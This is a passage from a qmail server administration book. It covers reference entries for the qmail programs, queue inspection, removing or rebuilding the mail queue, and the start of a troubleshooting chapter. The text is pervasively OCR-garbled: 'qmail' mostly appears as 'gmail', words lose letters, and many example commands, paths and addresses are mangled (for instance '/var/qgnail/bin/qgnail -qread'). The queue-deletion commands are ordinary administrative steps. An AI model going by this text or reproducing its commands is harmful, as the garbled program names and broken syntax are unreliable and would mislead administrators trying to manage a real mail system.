Protocol (1P) addresses of QM QP serversto which it will try, in order, to queue the message.

Caveats: If gmail-gmgpc is unable to successfully queue the message to one of the serverslisted in gmgpservers, it
will return an exit code indicating whether the failure istemporary or permanent, but the message will not be queued
ontheloca system. The processinjecting the message is responsible for reporting the failure.

gmail-gmqpd

Usage: gmail-gmapd

Description: gmail-gmapd receives messages viathe QM QP and invokes gmail-queue to place them into the queue
(http://cr.yp.to/proto/gmap.html).

gmail-gmapd is normally run under tcpserver from the ucspi-tcp package. Ingtalation and configuration of QM QP
clientsand serversis covered in Chapter 7, " Configuring gmail: Advanced Options.”

Caveats: QMQPisdesigned for use on private networks. gmail-gmapd should be configured to accept connections
only from authorized hosts because it will relay messages for any host that can connect.

gmail-gmtpd

Usage: gmail-gmtpd

Description: gmail-gmtpd receives messages viathe QM TP and invokes gmail-queue to place them into the queue (
http://cr.yp.to/proto/gmtp.txt).
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gmail-gmtpd supports the repthosts, morercpthosts, and databytes control files (see Chapter 3), and the
RELAYCLIENT and DATABY TES environment variables.

gmail-gmtpd is normally run under tcpserver from the ucspi-tcp package. Ingtallation and configuration of QM TP
clientsand serversis covered in Chapter 7, " Configuring gmail: Advanced Options.”

Caveats: None
gmail-qread

Usage: gmail-gread

Description: gmail-gread reports on the status of messages in the queue. For each message in the queue,
gmail-gread prints:

The date and time at which the message entered the queue

ThequeuelD

The size of the messagein bytes

The sender

Therecipients, including those to whom the message has dready been deivered

Caveats: gmail-gread requires read access to the queue so it must be run either asroot or as gmails and with group
ID gmail.

Example: To view the contents of the queue, the mail administrator runs gmail-greed:

# /var/qmail/bin/qgnail -qread
26 May 2001 22:44:06 GV #93881 1112 <rachel @xanpl e. or g>
renmote jessica@xanple.com
done renote sanmant ha@xanpl e. net
done renote erica@xanple.org
renote janes@xanple.com



gmail-gread reports that there is one message in the queue, from rachel @example.org to four recipients, two of
which have dready been ddlivered.

gmail-gstat

Usage: gmail-gdtat
Description: gmail-gstat prints a summary of the contents of the queue. It shows both the total number of messages
in the queue and the number of messagesin the queue that haven't been preprocessed by gmail-send.

Caveats: gmail-gstat requires read access to the queue so it must be run either asroot or as gmails and with group
ID gmall.

Example: To view asummary of the queue, the mail adminigtrator runs gmail-gqdtat:

# [var/gmail/bin/gmail -qgst at

nessages in queue: 2

messages i n queue but not yet preprocessed: 0
#

gmail-gstat reports that there are two messages in the queue, both of which have been preprocessed.
gmail-remote

Usage: gmail-remote host sender recip [recip. . .]
Description: gmail-remote reads amessage from standard input and ddliversit viaSMTP to host with the envelope

sender set to sender and recipients set to recip.

gmail-remote reports results to standard output for the message and for theindividua recipients. Recipient reports
are one letter and are printed in the order of the recip arguments. Following the recipient reportsis the message
report. Each report isasingle character.

Table 5-2 lists the report codes used by gmail-remote.

Table 5-2: gmail-remote Report Codes

CODE TYPE MEANING

r Recipient Host accepted recipient.




h Recipient Host permanently rejected recipient.

S Recipient Host temporarily rejected recipient.

K Message Host accepts responsibility for
delivering messageto al accepted
recipients.

Z Messge Temporary falure

D Messge Permanent failure

Following the recipient and message reports, gmail-remote prints a human-readabl e description of what happened.

Host may be specified asafully qualified domain name, for example, mail.example.com, or asan |P address
enclosed in square brackets, for example, [192.168.1.5].

Control Files: gmail-remote usesfour configuration files, usualy in /var/gmail/control: helohost, smtproutes,
timeoutconnect, and timeoutremote. Thesefilesare covered in Chapter 3, "Configuring gmail: The Basics™

Caveats: gmail-remote does not enforce SM TP restrictions on line length or non-ASCII characters.

gmail-remote does not queue messages that temporarily fail. In norma use, gmail-remoteis caled indirectly by
gmail-send after the message has been queued. If you call gmail-remote directly, you're responsible for queuingiit, if

it's necessary.

Example: To send amessage, auser creates afile caled msgy containing the message and invokes gmail-remote to
sendit:

$ cat nsg

From bill @xanpl e.com

To: ken@xanpl e. net, el ai na@xanpl e. net
Subj ect: No cl ass tonight

Cancel | ed due to the weat her.

$ /var/qgmail/bin/gmail-renote nail.exanpl e.net bill @xanpl e. com ken@xanpl e. net
el ai na@xanpl e. net < nsg

rrK192. 168. 1. 4 accept ed nessage.

Renpot e host said: 250 ok 991052072 qp 20788

$



The recipient report codes were both r and the message report code was K, so the message was successfully
delivered to mail.example.com. The human-readable description confirms this and includes the remote system's
response, which includesinformation potentially useful in tracking delivery problems.

gmail-rspawn

Usage: gmail-rspawn
Description: gmail-rspawn reads remote delivery commands from descriptor O (zero), invokes gmail-remoteto
perform the deliveries, and reports the results to descriptor 1 (one).

gmail-rspawn is started by gmail-start (see the " gmail-gtart™ section) and receives commands from gmail-send.

Caveats: You should never run gmail-rgpawn manudly. If gmail isrunning, gmail-rgpawn is running and doing itsjob.
gmail-send

Usage: gmail-send

Description: gmail-send receives messages placed in the queue by gmail-queue and uses gmail-Ispawn and
gmail-rspawn to ddliver them.

gmail-send is started by gmail-start (see the " gmail-start™ section), which sets up the communication channelslisted in

Table5-3.

Table 5-3: gmail-send Channds

DESCRIPTOR IN/OUT PURPOSE

0 Output Activity log

1 Output gmail-lspawn commands
2 [nput gmail-Ispawn responses
3 Output gmail-rgpawn commands
4 [nput gmail-rspawn responses




5 Output gmail-clean commands

6 [nput gmail-clean responses

Signals: Upon receiving aterminate (TERM) signd, gmail-send exits cleanly after waiting for active ddiveriesto
complete.

Note
If there are active connectionsto dow
remote hosts, gmail-send may take
minutes or hoursto exit.Y ou can
manudly kill the gmail-remote
processes to speed the shutdown, but
that could result in some duplicated

Messages.

Anadarm (ALRM) signal causes gmail-send to schedule al messagesin the queue for animmediate delivery attempt.

A hang up (HUP) signdl causes gmail-send to reread the locals and virtualdomains control files.

The gmailctl script (seethe " Understanding the gmailctl Script” section earlier in this chapter) facilitates sending these
dgnds.

Control Files: gmail-send usesthe following contral files, usualy in /var/gmail/control: bouncefrom, bouncehost,
concurrencylocal, concurrencyremote, doublebouncehost, doublebounceto, envnoathost, locals, percenthack,
queudifetime, and virtualdomains.

See Chapter 3, "Configuring gmail: The Basics," for more information about thesefiles.
Caveats: You should never run gmail-send manualy. If gmail isrunning, gmail-send is running and doing itsjob.

With the exception of locals and virtuddomains, gmail-send only readsits control files a startup. Changing the other
files requires restarting gmail-send before the changes will take effect.

gmail-showctl

Usage: gmail-showctl

Description: gmail-showctl displaysthe state of gmail's configuration through control files. For each known control
file, gmail-showctl printsthe current setting or default setting, if the control file doesn't exist. Nonstandard and
misspelled control filesaredso listed.



The output of gmail-showctl isuseful for debugging configuration problems especidly when seeking help from people
without direct access to the contral files, such as members of the gmail mailing list (see Chapter 1, "Introducing
gmail,” for moreinformetion).

Caveats: gmail-showctl requires read accessto the control files and read and execute access on the control
directory (usudly /var/gmail/control).

Example: A mail adminigtrator is debugging agmail configuration problem. He starts by examining the output of
gmail-showctl:

# [var/ qmail/bin/gmail-showct |

gmai | home directory: /var/qgnail.

user-ext delimter: -.

paternalism (in decinmal): 2.

silent concurrency linmt: 120.

subdirectory split: 23.

user ids: 501, 502, 503, 0, 504, 505, 506, 507.
group ids: 501, 502.

badmai | from (Default.) Any MAIL FROM i s all owed.

bouncefrom (Default.) Bounce user nane is MAl LER- DAEMON.

bouncehost: (Default.) Bounce host nane is dol phin.exanpl e.com
concurrencyl ocal : (Default.) Local concurrency is 10.
concurrencyrenote: (Default.) Renobte concurrency is 20.

dat abytes: (Default.) SMIP DATA linit is O bytes.

def aul tdomai n: Default domain name is exanpl e.com

defaul thost: (Default.) Default host nane is dol phin.exanple.com
doubl ebouncehost: (Default.) 2B recipient host: dol phin.exanple.com
doubl ebounceto: (Default.) 2B recipient user: postnaster.

envnoat host: (Default.) Presunmed donmmi n nane is dol phin.exanpl e.com
hel ohost: (Default.) SMIP client HELO host nane is dol phin.exanpl e.com
i dhost: (Default.) Message-1D host nane is dol phin.exanpl e.com

| ocal i phost: (Default.) Local |P address becones dol phin. exanpl e. com

| ocal s:
Messages for |ocal host are delivered |ocally.
Messages for dol phin. exanple.comare delivered |ocally.

me: My nane is dol phin. exanpl e.com

percent hack: (Default.) The percent hack is not allowed.

pl usdonmi n: Plus donmain nane is exanpl e.com

gngpservers: (Default.) No QVQP servers.

queuel ifetime: (Default.) Message lifetinme in the queue is 604800 seconds.

rcpt hosts:
SMIP clients may send nmessages to recipients at |ocal host.
SMIP clients may send nessages to recipients at dol phin.exanpl e.com

norercpt hosts: (Default.) No effect.
nor er cpt hosts. cdb: (Default.) No effect.
sntpgreeting: (Default.) SMIP greeting: 220 dol phin. exanpl e. com

sntproutes: (Default.) No artificial SMIP routes.

ti meoutconnect: (Default.) SMIP client connection tineout is 60 seconds.
timeoutrenote: (Default.) SMIP client data tineout is 1200 seconds.

ti meoutsmpd: (Default.) SMIP server data tineout is 1200 seconds.
virtual domains: (Default.) No virtual donmins.



48 defaultdelivery: | have no idea what this file does.
49 concurrencyinconming: | have no idea what this file does.
50 #

Lines 2 through 8 show the value of compile-time configuration settings. See Chapter 2 for more information about
these settings.

Line 2 showsthe vadue of conf-gmail, the gmail home directory.

Line 3 showsthe value of conf-break, the character that separates usernames from extensonsin extenson
addresses, for example, the - in maryjane-quilting.

Line 4 shows the vadue of conf-patrn, the set of stat() bits that are disallowed on user's home directories and
dot-gmail files. In this caseit's the default, 2, which indicates the world-writable bit, meaning that gmail will refuseto
deliver mail to auser with aworld-writable home directory or .gmail file.

Line 5 showsthe vaue of conf-goawn, the built-in limit to the vaues of the run-time configuration settings
concurrencyloca and concurrencyremote. If the mail administrator sets one of the concurrency settings above the
conf-gpawn limit, gmail will slently lower it to the vaue of conf-spawn.

Line 6 showsthe vaue of conf-gplit, the number of subdirectoriesinto which certain queue directories are divided, in
order to reduce the number of files per directory for improved performance on very busy servers.

Line 7 showsthe valuesin conf-users, the users used to run the various pieces of gmail. conf-usersliststhe
usernames, but gmail-showctl showstheir UIDs.

Line 8 shows the valuesin conf-groups, the groups used by the various pieces of gmail. conf-groups lists the group
names, but gmail-showctl showstheir GIDs.

The remaining output shows the value of the run-time configuration settings. See Chapter 3 for moreinformation
about these settings. For each setting, gmail-showectl prints the name of the setting, the value (or (Default) if therésno
control file specifying avaue), and a short description of the purpose of the setting. See the gmail-control man page
for apointer to the program that uses each control file.

At theend of the list, gmail-showctl lists unrecognized control files. In this case, it shows the nonstandard control
files, defaultddivery and concurrencyincoming, from theinstalation scriptsin Chapter 2. It would also list any
misspelled contral files, like virtualdomain, so it'sagood ideato check this after setting anew control.

gmail-smtpd

Usage: gmail-amtpd



Description: gmail-smtpd receives messages viathe SMTP (see"Simple Mail Transfer Protocol” in Appendix C)
and invokes gmail-queue to place them into the queue.

To breek aias|oops, gmail-smtpd rejects any message with more than 100 Received or Ddlivered-To header fields.

gmail-smtpd supports Extended SMTP (ESMTP), including the 8BITMIME and PIPELINING options (
http:/Mmww.ietf .org/rfc/rfc1869.txt).

gmail-smtpd is normally run under tcpserver from the ucspi-tcp package

Control Files: gmail-smtpd usesthe following contral files, usudly in /var/gmail/control: badmailfrom, databytes,
localiphost, morercpthogts, repthosts, smtpgreeting, and timeoutsmtpd.

Caveats: gmail-smtpd accepts messages containing long lines and non-ASCII characters, even though such
messages violate the SM TP protocol.

SMTP uses two-byte line breaks consisting of carriage return and line feed (CR-LF). gmail-smtpd converts CR-LF
line bresksinto the Unix-standard newline (LF only). If gmail-smtpd encounters alinefeed not prefixed with a
carriage return in the body of amessage (the SMTP DATA command), it immediately returns atemporary error to
the SVITP client and closes the connection. gmail-smipd refuses messages with bare newlines because they would be
corrupted if forwarded viaSMTP: The bare linefeed would be indistinguishable from anewline and would be
converted to CR-LF on sending.

Example: To verify that gmail-smtpd isworking properly, the mail adminigirator runsit interactively:

# [var/qmail/bin/qnmail-sntpd
220 dol phi n. exanpl e. com ESMIP

hel p

214 qmail hone page: http://pobox.com ~dj b/ gmail . ht
quit

221 dol phi n. exanpl e. com

#

Tip
Totak to theloca sysemviaSMTP,
it's better to telnet to the SMTP on the
local host than to run gmail-smtpd
interactively because tel net
automatically converts LF line bregks
to CR-LF. For example, try the
command telnet 0 25.

gmail-start
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Usage: gmail-gart [ defaultdelivery [logger args]]
Description: gmail-gart sartsthe gmail daemons. gmail-send, gmail-Ispawn, gmail-rspawn, and gmail-clean. It runs

each daemon under the appropriate user 1D and group I1D, and sets up the communication channel s between
gmail-send and the other daemons.

gmail-start redirects gmail-send's output to its own standard output or, if logger isspecified, it's run with the supplied
args and receives gmail-send's outpui.

If defaultdelivery is provided, it's passed to gmail-lspawn.

Caveats: gmail-gtart passesits environment: variables, resource limits, controlling terminds, and so on to gmail-locdl.
For thisreason, it'susudly run with aminimal environment using the env command.

Example: The /var/gmail/boot directory contains aset of example startup scripts using gmail-start. The /var/gmail/rc
script from Chapter 2 isfairly typicd:

#!'/ bi n/ sh

# Using stdout for |ogging
# Using control/defaultdelivery fromgnail-local to deliver nessages by default

exec env - PATH="/var/qgnmail/bi n: $PATH" \
gmai | -start "&grave; cat /var/qmail/control/defaul tdelivery&grave;"

Thefirg lineidentifies thefile as script to be run by /bin/sh. The exec command tellsthe shell to replace itsdlf with the
following command, which isan env command that sets up aminimal environment, adding var/gmail/binto PATH,
before running gmail-start with the defaultdelivery argument set to the contents of /var/gmail/control/defaultdelivery.
Because no logger is specified, gmail-send's output will go to standard output.

gmail-tcpok

Usage: gmail-tcpok

Description: gmail-tcpok clears gmail-remote'slist of remote hosts to which recent connections have timed out.

gmail-remote will not attempt ddlivery to ahost marked astiming out for at least an hour, but it will eventudly retry al
pending deliveries, so gmail-tcpok does not normally need to be run. gmail-tcpok is most useful in situations where
many messages are being relayed to a system that the mail administrator knowsis no longer unresponsive.

Seedso " gmail-tcpto™ below.

Caveats: To update thelist of timing-out hosts, gmail-tcpok must be run asroot or as user gmailr with group gmail.



Example: Themall administrator of Example, Inc., seesthat Examples main relay, mail .example.com is accumulating
messages destined for exchange.example.com, which was down temporarily but is now back up. Rather than waiting
up to an hour for gmail-remote to notice, he runs gmail-tcpok on mail.example.com to makeit "forget” which remote
hosts are timing out:

# [/var/qgmail/bin/qgmail -tcpok
#

gmail-tcpto

Usage: gmail-tcpto

Description: gmail-tcpto printsthelist of remote SMTP serversto which connections have timed out within the past
hour.

After an SVITP connection attempt times out, gmail-remote records the | P address of the remote host in
Ivar/gmail/queue/l ock/tepto. If the same addressfails again, after at least two minutes with no intervening successful
connections, gmail-remote assumes that further attemptswill fail for at least another hour.

Caveats: Toread theligt of timing-out hosts, gmail-tcpto must be run asroot or as user gmailr with group gmail.

Example: To display the current time-out table, run gmail-tcpto:

# /var/qmail/bin/qmail -tcpto

192.168.4.42 timed out 2564 seconds ago; # recent timeouts: 2
192.168. 64. 164 timed out 1269 seconds ago; # recent tineouts: 2
192.168.2.5 timed out 2624 seconds ago; # recent tineouts: 10
192.168.28. 10 tined out 4126 seconds ago; # recent timeouts: 10
#

splogger

Usage: splogger [tag [facility]]

Description : splogger reads messages on its standard input and sends them to sydogd, the system logging daemon.
The tag, which defaultsto splogger, is prepended to each line, asisanumeric timestamp. If the message beginswith
dert:, it'slogged at priority LOG_ALERT. If it beginswith warning:, it'slogged at priority LOG_WARNING. All
other messages are logged at priority LOG_INFO.



Tip
If specified, fadlity isthe numeric
Syslog facility. The default is 2,
which isusually LOG_MAIL.

See the sydog.conf, sydogd, and
syslog man pages

for more information about Syslog.

Caveats: splogger converts unprintable characters to question marks (?).
Blank lines are not logged.

Messages are folded split into multiple messages after 800 characters dueto line-length limitationsin Sydog. splogger
puts aplussign (+) after the time-stamp to indicate that the message was folded.

Theuseof Sydog isdiscouraged dueto rdiability, efficiency, and security concerns. (See Chapter 2, "Indaling
gmail,” for details)

Example: To test splogger, the mail manager on ahost named sparge runsit interactively:

# echo this is a splogger test | /var/qmail/bin/splogger

# tail /var/log/maillog

Jun 2 07:37:00 sparge spl ogger: 991481820.149780 this is a spl ogger test
#

tcp-env

Usage: tcp-env [-rR] [-ttimeout] program [args]

Description: tcp-env runs program with the supplied arguments, if any, after setting a number of environment
variables describing a Transmisson Control Protocol (TCP) connection.

Environment Variables: The tcp-environ man page describes the environment that tcp-env (from gmail) and
tepserver and tepclient (from daemontools) support. They are described in Table 5-4.

Table 5-4: tcp-env Environment Variables

VARIABLE DESCRIPTION

PROTO Protocol, dways TCP




TCPLOCALHOST Domain name of thelocal host in lowercase, if available

TCPLOCALIP IP address of thelocal hogt, for example: 192.168.1.3
TCPLOCALPORT Loca TCP port associated with the connection
TCPREMOTEHOST Domain name of the remote host in lowercasg, if available
TCPREMOTEINFO Connection-specific string, for example: remote

username, if supplied

TCPREMOTEIP IP address of the remote host

TCPREMOTEPORT Remote TCP port associated with the connection

Caveats: tcp-env isusudly run with itsinput being a TCP connection. It'susually invoked by inetd, whichis
configured by /etc/inetd.conf. However, if the PROTO environment variable is set to TCP when tcp-env isinvoked,
it assumes that the other environment variables are set properly.

Theuse of inetd is discouraged due to reliability and security concerns. (See Chapter 2, "Inddling gmail,” for detalls)

Example: To run gmail-smtpd viainetd, one would add something like the following to /etc/inetd.conf (but al on one
line):

sntp streamtcp nowait qmaild /var/qgmail/bin/tcp-env
tcp-env /var/gmail/bin/qmail-sntpd

Tip
See the inetd.conf man pagefor
details about the syntax of entriesin
inetd.conf.
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Managing the Queue

If gmail-send isgmail's brain, the queue is gmalil's heart. Every message that gmail ddlivers passes through the queue,
at least momentarily. It'sthe queue that alows gmalil to guarantee that it won't lose messages, even if the system
crashes. It'sthe queue that alows gmail to retry deliveriesthat temporarily fail.

To quickly assessthe hedlth of agmail system, take its pulse by checking the state of the queue. gmail automaticaly
maintainsits queue, and the mail adminigtrator israrely caled on to perform heart surgery by manudly modifying the
queue.

For security and privacy reasons, the queue, which is stored in /var/gmail/queue, is accessible only by the gmail users
and the superuser. Queue management should be performed as the superuser.

Checking the Queue

The two main queue diagnostic tools are gmail-gstat and gmail-read. gmail-gstat takes the queu€e's pulse: It shows
the total number of messagesin the queue and the number of messagesin the queue that haven't been preprocessed
by gmail-send.

gmail-stat

On alightly used, properly functioning system, gmail-gstat will often report an empty queue:

# [var/qgmail/bin/qmail -qstat

nmessages i n queue: O

messages i n queue but not yet preprocessed: 0
#

All that meansisthat gmail has ddivered every message it hasrecelved. On abuser, properly functioning system,
you might see something likethis:

# [var/qgmail/bin/qgmail -qstat

nmessages i n queue: 87

messages i n queue but not yet preprocessed: 0O
#

which shows there are 87 messages in the queue, dl of which have been pre-processed by gmail-send. These are
messages that have not yet been delivered to dl of their recipients. The fact that none require preprocessing shows
that gmail-send is running and doing itsjob.



The same system could easily show a small number of messagesthat aren't preprocessed if gmail-gstat happensto
be run immediately after one or messages were injected:

# [var/qmail/bin/gnail - qstat

messages i n queue: 88

messages i n queue but not yet preprocessed: 1
#

However, if the number of unpreprocessed messages remains constant or even grows, thisindicates that gmail-send
isether not running at al or isnot working correctly. For example, on a system where gmail was not started
properly, you'd see something likethis:

# /var/qgmail/bin/gnail -qgstat

nessages in queue: 5

messages i n queue but not yet preprocessed: 5
#

Another situation that can be spotted with gmail-gdtat isthat of a server that's being overwhelmed or, in other words,
asked to deliver mail fagter than gmail-send can handleit. Y oulll usudly only seethis on busy servers. The symptoms
of this problem are many messages in the queue and significant numbers of unpreprocessed messages.

For example:

# [var/qgmail/bin/gmail -qstat

messages i n queue: 8254

messages i n queue but not yet preprocessed: 73
#

If this condition persists, see Chapter 7 for tips on configuring your server for maximum performance.

The gmailctl at function isahandy way to run gmail-gstat because it aso reports on the status of the gmail services.
For example:

# gmailctl stat

/service/qmail-send: up (pid 857) 13356 seconds
/servicel/qmail-send/log: up (pid 862) 13356 seconds
/service/qmail-snmtpd: up (pid 859) 13356 seconds
/service/qmail-smtpd/log: up (pid 861) 13356 seconds
messages i n queue: O

messages i n queue but not yet preprocessed: 0

#

The last two lines are gmail-ggtat's output. If gmail-send wasn't running, for example, thefirst line of output would say
down.



If gmail-gstat indicates any problems, thefirst step isto verify that gmail-send is running. If it'snot, you'll need to
figure out why (probably an error in the startup scripts) and retart it. If gmail-send is running, you should check its
logs (see Chapter 6, "Troubleshooting gmail™).

gmail-qread

If gmail-gstat takes the queue's pulse, gmail-gread takes an e ectrocardiogram (ECG). gmail-qgread looks at every
message in the queue and shows the envelope sender, time of creation, queue ID, and the status of ddlivery to each
recipient. If the queueis empty, soisits output. But on abusy mail server especialy alist server it can easily generate
hundreds of thousands of outpuit lines.

For example, onamail list server, gmail-gread outputs something like this:

# /var/qgmail/bin/qmail -qread
21 Jun 2001 14:49:40 GMI  #119439 4190 <xl i st - owner - @xanmpl e.com @] >

bounci ng

done renot e ADERVWA@rai | . exanpl e. com

done renot e | oi s@xanpl e. edu

done renot e keppi ngb@et . exanpl e. edu
renot e j mccoy @xanpl e. com
renot e rj anusze@xchange. exanpl e. gov

done renot e al pha@rai | . exanpl e. edu

#

This shows that the queue contains one message, queue |D 119439, whichisamailing list mailing fromthe xlist list
that was sent on June 21, 2001, to six remote recipients. Delivery to four of the recipientsis complete, asindicated
by the doneflag.

In most cases, you can significantly prune gmail-gread's output by stripping the completed deliveries. Repesting the
previous example with this method yields this output:

# /var/qgmail/bin/qmail-qread | grep -v " done"
21 Jun 2001 14:49:40 GMI #119439 4190 <xli st-owner-@xample.com @] >
bounci ng

renote jntcoy@xanpl e. com

renot e rj anusze@xchange. exanpl e. gov

mak e check

The check target of the Makefile in the gmail source directory checksthe consstency of agmail ingtalation, including
the queue structure. It doesn't check al of thefilesin the queue, but it will find some maor problems.

For example:

# cd /usr/local/src/qmil-1.03



# make check

./instcheck

i nstcheck: warning: /var/qgmail/queue/local/22 does not exist
#

Any problems reported by make check indicate that the queue is corrupt (damaged or inconsistent). Y ou should shut
gmail down until you have corrected the problem.

gmail-gsanity

Russell Nelson has written a Perl script called gmail-gsanity that checks the consstency of the queue (
http://Amww.gmail.org/gmail-gsanity-0.52). If you're seeing unusud errors from gmail-send, you might want to run this
script to identify or rule out queue corruption.

For example:

# gmail -gsanity

| ocal / has too few subdirectories at /usr/local/sbin/qgmail-gsanity |ine 87.
cannot read |ocal/22 at /usr/local/sbin/qgmail-gsanity |ine 43.

#

Modifying the Queue

gmail automatically manages the queue, but occasiona Situations may require human intervention. For example, one
of your users sends a message with a 50-megabyte attachment to afew hundred of his closest friends. Or maybe
junk mailers pollute your queue with mass mailings. Or even worse, ajunior system adminigtrator triesto manipulate
the queue and ends up corrupting it.

A mail adminigrator has basicaly four kinds of queue modificationsto perform: adjusting message lifetimes/retry
schedules, removing messages from the queue, making a corrupt queue consistent, and re-cresting an empty queue.

Adjusting M essage L ifetimes/Retry Schedules

Normally, undeliverable messages remain in the queue for queudifetime seconds before being returned as
permanently undeliverable. Thelonger a message has been in the queue, theless frequently gmail triesto deliver it.
(Theactud retry scheduleis documented in Appendix A, "How gmail Works.")

gmail tracks amessage's age using the creation time of the info queuefile, the file under var/gmail/queue/info/split/
queueid, that stores the envel ope sender of each message. A message's age is the current time minus the creation
time of theinfo file. Using the touch command to adjust this creation time, the mail administrator can prematurely age
amessage, causing it to be retried less frequently and bounce sooner, or giveit asip from the fountain of youth,
causing it to be retried more frequently and delaying it from bouncing.


http://www.qmail.org/qmail-qsanity-0.52
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With the default queudifetime of one week, setting amessage's ageto at least aweek will mark it for onefind
delivery attempt. For example, to age the message with queue 1D 119439, which residesin the O split directory, do
this

# cd /var/qgmail/queue/info/0

# ls -1 119439

SFWIF--F-- 1 gmailqg gmai | 4190 Jun 21 10:49 119439
# touch -d "1 week ago" 119439

# ls -1 119439

SFWIF--F-- 1 gmailqg gmai | 4190 Jun 17 07:23 119439
#

Likewise, to grant the message with queue ID 119364 atemporary reprieve, the administrator could lower its age by
doingthis

# cd /var/qgmail/queue/info/ 17

# 1s -1 119364

SFWrF--F-- 1 gmailqg gmai | 1936 Jun 22 08:12 119364
# touch 119364

# 1s -1 119439

SFWrF--F-- 1 gmailqg gmai | 1936 Jun 23 09:20 119364
#

Adjusting message agesis safe, even while gmail-send isrunning.

Removing Selected M essages from the Queue

OK, so there are messagesin the queue that have to be removed before gmail deliversthem. Thefirst thing you
should do is stop gmail-send using ether the gmailctl stop command or svc d, likethis:

# gmail ctl stop

St oppi ng gmai | .
grai | - smt pd
grmai | - send

#

or this

# svc -d /service/gnail-send/
#



Warning
gmail-send must be stopped before
attempting to remove messages from
the queue. Otherwise, gmail-send's
internal knowledge of the queue won't
match the actua queue on disk. This
will result in gmail-send logging errors
about the messages that were deleted
behind its back.

Once gmail-send has been stopped, the queue files associated with the messages you want to remove can be
deleted. But before you can do that, you'll need to find the queue I Ds of the messages you want to remove using the
logs, gmail-gread, or by greping the mess queuefiles. For example, to search the queue for al messages containing a
sring, for example, "warez," use afind command:

# find /var/qmail/queue/ mess -exec grep warez {} /dev/null \;
/var/ gmai | / queue/ ness/ 18/ 119457: Subj ect: Best warez site ever!
#

Tip
Include /dev/null inthe grep command
to force grep to show the names of the
files containing metches. If grep only
searches onefile, such asthe argument
supplied by find in place of the {}, it
will output matching lineswithout
prefixing thefilename. By including
/dev/null, thistricks grep into thinking
it's searching multiplefiles, soit includes
thefilenameinits output.

Onceyou'veidentified the queue IDs of the target messages, use find to locate and remove thefiles:

# find /var/gmail/queue -nane 119457

/var/ gmai | / queue/ bounce/ 119457

/var/ qmai | / queue/ mess/ 18/ 119457

/var/ qmai | / queue/ i nfo/ 18/ 119457

/var/ qmai | / queue/ r enot e/ 18/ 119457

# find /var/qgmuail/queue -nane 119457 -exec rm{} \;
#

Repeat the find command as necessary until dl of the files associated with the target message are removed.

Findly, restart gmail using the gmailctl script:

# gmailctl start
Starting gmail
#



or using svc, dothis:

# svc -u /service/qgnail-send/
#

Once gmail isrestarted, check the end of the gmail-send log file for any messages about problems with the queue:

# tail /var/log/qgmil/current

Removing All M essages from the Queue

If it's necessary to delete dl messagesin the queue, you have two approaches: delete only the messagefiles, asinthe
previous section, or del ete/rename the entire queue and build anew one.

Whichever approach you use, sop gmail-send first. Using gmailctl, do this:

# gmail ctl stop

St oppi ng gmai | .
gmai | - snt pd
gnmai | - send

#

or using svc, dothis:

# svc -d /service/qgnail-send/
#

Toddetedl of the messagefiles, do this:

# find /var/qgmail/queue -type f | grep -v /lock/ | xargs rm-f
#

Torebuild the queue, do this:

# nmv /var/gmail/queue /var/qgnmail/queue. ol d
# cd /usr/local/src/qmail-1.03/

# make setup check

./install

. /i nstcheck

#

Finaly, restart gmail. Using the gmailctl script, do this.



# gmailctl start
Starting gmai
#

or using svc, dothis.

# svc -u /service/gnail-send/
#

Once gmall isrestarted, check the end of the gmail-send log file for any messages about problems with the queue:

# tail /var/log/qgmail/current

Both of these methodswill remove dl messages from the queue immediately and without generating bounces. Using
the rebuild method, the old queue can be preserved for extracting and re-injecting important messages.

Making a Corrupt Queue Consistent

If gmail-send generates error messages about missing queue files or the inability to read or write queuefiles, the
problem islikely to be queue corruption, which isusually caused by system or mail administrators directly
manipulating the queue. Another cause of queue corruption isfile system corruption, which is often caused by afailing
disk drive. The gmail-gsanity script (see the " Checking the Queue™ section earlier in this chapter) will check the
consigtency of the queue and report any problemsit finds, but it won't fix them.

Eric Huss has written a utility caled queue-fix that fixes most easily repairable queue corruptions (
http:/Aww.netmeridian.com/e-huss/queue-fix.tar.gz). It can aso be used to move the queue to another file system. If
youveingalled Russall Nelson's big-todo patch, there's a patch for queue-fix that must be installed before building
queue-fix (http:/AMww.gmail.org/queue-fix-todo.patch).

For example:

# queue-fix /var/qmail/queue

Creating directory [/var/gnmail/queue/l ocal/22]

Changi ng perm ssions of [/var/qgmail/queue/local/22] to [700]
Changi ng ownership of [/var/qmail/queue/local/22] to uid 507 gid 502
queue-fix finished. .

#

queue-fix takestwo options: -N, which causesit to show the actionsit would take, without actudly taking them, and
I, which causesit to enter "interactive mode”’ where the user must confirm each action before queue-fix will performit.

If the queueis corrupt beyond queue-fix'srepair abilities, you might be able to manually fix the problem using
information provided by gmail-gsanity, queue-fix, and gmail-send.
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If dl esefals, you might have to sart anew queue from scratch. See the next section.

Re-creating an Empty Queue

There are two waysto create an empty queue. Thefirg isto run make setup from the gmail source directory used to
ingal gmail origindly. The second method isto use the queue-fix utility covered in the previous section.

Whichever approach you use, stop gmail-send first. Using gmailctl, do this:

# gmailctl stop

St oppi ng gmai | .
gnai | - snt pd
gmai | -send

#

or using svc, dothis:

# svc -d /service/gmail -send/
#

Next, move the corrupt queue aside or remove it completely if you don't need to recover any messagesin the queue:

# nmv /var/gmail/queue /var/gmail/queue. bad
#

Now generate the new queue.

To generate anew queue using make setup, do this:

# cd /usr/local/src/qgmail-1.03/
# make setup check

.linstall

. linstcheck

#

To generate anew queue using queuefix, do this

# queue-fix /var/qmail/queue

Creating directory [/var/gnmail/queue/]

Changi ng perm ssions of [/var/qgmail/queue/] to [750]
Changi ng ownership of [/var/qmail/queue/] to uid 505 gid 502
Creating directory [/var/gmail/queue/info]



.lots nore output.
Creating fifo [/var/qmail/queue/l ock/trigger]
Changi ng perm ssions of [/var/qgnail/queue/lock/trigger] to [622]
Changi ng ownership of [/var/qmail/queue/lock/trigger] to uid 507 gid 502
queue-fix finished.
#

Finaly, restart gmail. Using the gmailctl script, do this.

# qmailctl start
Starting gmail
#

or using svc, dothis:

# svc -u /servicel/gnail-send/
#
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Conclusion

In this chapter you've learned how to manage agmail system, starting with learning how to use the gmailctl script
from Chapter 2 to perform routine maintenance and monitoring tasks. Y ou learned about the programsin the gmail
suitethat are run by the mail administrator or gmail itself. Findly, you learned how to manage the queue: checking the
gtatus, viewing the contents, removing unsent messages, repairing corruption, and building anew, empty queue.

In Chapter 6, "Troubleshooting gmail,” you'l learn how to troubleshoot gmail by monitoring the gmail processes,
checking the log files, examining message headers, and performing tests. Y ou also learn strategies for troubleshooting
common problems.
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Chapter 6. Troubleshooting gmail

Highlights

